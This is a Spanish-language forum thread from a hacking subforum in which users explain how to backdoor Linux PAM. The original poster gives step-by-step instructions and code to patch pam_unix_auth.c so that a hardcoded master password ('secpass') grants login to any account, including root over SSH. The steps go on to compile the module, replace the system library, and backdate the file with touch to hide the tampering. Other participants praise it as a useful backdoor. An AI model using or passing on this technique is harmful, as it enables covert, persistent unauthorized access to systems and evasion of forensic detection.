Foro de elhacker.net

Seguridad Informática => Hacking => Mensaje iniciado por: Axtrall en 5 Julio 2010, 13:42 pm



Título: Backdoor en pam_unix.so
Publicado por: Axtrall en 5 Julio 2010, 13:42 pm
Hola,

Hace algún tiempo estuve leyendo que se podia modificar pam_unix.so, de manera que para el acceso por ssh del usuario root ( u otro cualquiera) existiera una contraseña definida aparte de la contraseña normal de dicho usuario. O sea, te permita el acceso al sistema usando alguna de esas 2 contraseñas.

He buscado por todos los sitios y no he encontrado nada acerca de esto.

Sabeis vosotros como se puede hacer?

Saludos y gracias por adelantado.


Título: Re: Backdoor en pam_unix.so
Publicado por: kamsky en 5 Julio 2010, 14:06 pm
Pues "simplemente" tienes que modificar el fuente pam_unix.c para que cuando detecte cierta combinación (p.ej: user: root pass:honolulu) devuelva un ok, después lo compilas para crear la biblioteca compartida y reemplazas la actual por la tuya


Título: Re: Backdoor en pam_unix.so
Publicado por: Axtrall en 6 Julio 2010, 11:50 am
Gracias por la respuesta.

Pues me puse con el tema y resulta que al final he conseguido lo que queria. Os cuento:

1. Bajarse el source de PAM
Código:
ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.1.tar.gz

2. Descompilarlo y editar el source que nos interesa  >:D
Código:
tar -xvzf Linux-PAM-1.1.1.tar.gz 
pico Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c

3. Dentro del código buscar la cadena:
Código:
/* verify the password of this user */
        retval = _unix_verify_password(pamh, name, p, ctrl);

4. Justo debajo de esta cadena incorporar un pequeño código:
Código:
if (strcmp(p,"secpass")==0 ){

                retval = PAM_SUCCESS;
        }
Donde secpass es la segunda contraseña que utilizaremos. En este caso, con cada login del sistema se podria entrar con esta contraseña (incluso root).

5. Volverse al directorio pincipal del Source y alli hacer:
Código:
./configure
make

6. Aunque a mi me dio un error en otra funcion luego, me habia compilado el modulo que queria en modules/pam_unix/.libs/pam_unix.so.
Asi que lo que tendriamos que hacer ahora es reemplazarlo. Para ello primero debemos hacer una copia de seguridad del antiguo modulo por si lo necesitamos:
Código:
cp /lib/security/pam_unix.so /lib/security/pam_unix.so.orig
cp modules/pam_unix/.libs/pam_unix.so /lib/security/pam_unix.so

7. Probar que funciona. Para ello abrimos una nueva session SSH al sistema :).

8. Otra cosa importante sería cambiar la fecha del archivo nuevo creado. Para ello podemos usar por ejemplo:
Código:
touch -t 200901022110 pam_unix.so

Con esto ya tendriamos una entrada alternativa al sistema, en casos en los que nos olvidemos de una contraseña :)

Bueno espero os haya servido y espero vuestros comentarios.

Saludos.


Título: Re: Backdoor en pam_unix.so
Publicado por: toxeek en 8 Julio 2010, 11:52 am

Muy bien Axtrall :)

Este backdoor via PAM (en sistemas Linux que lo incorporen) es muy util, gracias por explicarlo en este subforo.

Espero mas aportaciones tuyas,

Un saludo.



Título: Re: Backdoor en pam_unix.so
Publicado por: Axtrall en 9 Julio 2010, 09:22 am
Ha sido un placer :) .
Iré posteando cosas segun las vaya probando :laugh: